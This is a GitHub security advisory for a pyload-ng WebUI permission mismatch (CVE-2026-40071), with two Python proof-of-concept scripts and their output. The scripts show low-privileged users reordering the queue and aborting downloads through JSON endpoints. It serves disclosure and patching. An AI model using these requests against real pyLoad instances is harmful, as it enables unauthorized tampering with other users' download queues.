GitHub Advisoryadvisory · PyPI
GHSA-rfgh-63mg-8pwm pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions
MEDIUM
Official page ↗
- Aliases
- CVE-2026-40071
- Ecosystem
- PyPI
- Packages
- pyload-ng
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Weaknesses
- CWE-285, CWE-863
- Reviewed
- 2026-04-08
Affected packages
• PyPI pyload-ng: < 0.5.0b3.dev97 → fixed in 0.5.0b3.dev97
Description
Summary
Several WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.
Confirmed mismatches:
• `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`
• `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`
Details
pyLoad defines granular permissions in core API:
• `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)
• `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)
• `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)
But WebUI JSON routes use weaker checks:
• `/json/package_order` uses `@login_required("ADD")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)
• `/json/link_order` uses `@login_required("ADD")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)
• `/json/abort_link` uses `@login_required("DELETE")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)
Why this is likely unintended (not just convenience):
• The same JSON blueprint correctly protects other edit actions with `MODIFY`:
• `/json/move_package` -> `@login_required("MODIFY")` (`json_blueprint.py:188-196`)
• `/json/edit_package` -> `@login_required("MODIFY")` (`json_blueprint.py:202-217`)
• The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.
PoC
Environment:
• Repository version: `0.5.0b3` (`VERSION` file)
• Commit tested: `ddc53b3d7`
PoC A (ADD-only user invokes MODIFY-only reorder):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'attacker'
def order_package(self, pack_id, pos):
self.calls.append(('order_package', int(pack_id), int(pos)))
def order_file(self, file_id, pos):
self.calls.append(('order_file', int(file_id), int(pos)))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.ADD}
print('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))
print('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'attacker'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.ADD)
r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})
r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})
print('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())
print('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (ADD-only) order_package: False
API auth (ADD-only) order_file: False
HTTP /json/package_order: 200 {"response":"success"}
HTTP /json/link_order: 200 {"response":"success"}
calls: [('order_package', 5, 0), ('order_file', 77, 1)]
```
PoC B (DELETE-only user invokes MODIFY-only stop_downloads):
```python
import os
import sys
from types import SimpleNamespace
sys.path.insert(0, os.path.abspath('src'))
from flask import Flask
from pyload.core.api import Api, Perms, Role
from pyload.webui.app.blueprints import json_blueprint
class FakeApi:
def __init__(self):
self.calls = []
def user_exists(self, username):
return username == 'u'
def stop_downloads(self, ids):
self.calls.append(('stop_downloads', ids))
api = Api(SimpleNamespace(_=lambda x: x))
ctx = {'role': Role.USER, 'permission': Perms.DELETE}
print('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))
app = Flask(__name__)
app.secret_key = 'k'
app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
f = FakeApi()
app.config['PYLOAD_API'] = f
app.register_blueprint(json_blueprint.bp)
with app.test_client() as c:
with c.session_transaction() as s:
s['authenticated'] = True
s['name'] = 'u'
s['role'] = int(Role.USER)
s['perms'] = int(Perms.DELETE)
r = c.post('/json/abort_link', json={'link_id': 999})
print('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())
print('calls:', f.calls)
```
Observed output:
```text
API auth (DELETE-only) stop_downloads: False
HTTP /json/abort_link: 200 {"response":"success"}
calls: [('stop_downloads', [999])]
```
Impact
Type:
• Improper authorization / permission-bypass between WebUI and core API permission model.
Scope:
• Horizontal privilege escalation among authenticated non-admin users.
• Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.
Security impact:
• Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.
• Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.
Related
Alias · CVE (1)
- CVE-2026-40071 pyLoad is a free and open-source download manager written in Python. vulnerability
References
- https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm web
- https://nvd.nist.gov/vuln/detail/CVE-2026-40071 advisory
- https://github.com/pyload/pyload/commit/9ce88a8b01bed81aa17380c3288bb8c973e0859f web
- https://github.com/pyload/pyload package
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-2997.yaml web
- https://pypi.org/project/pyload-ng web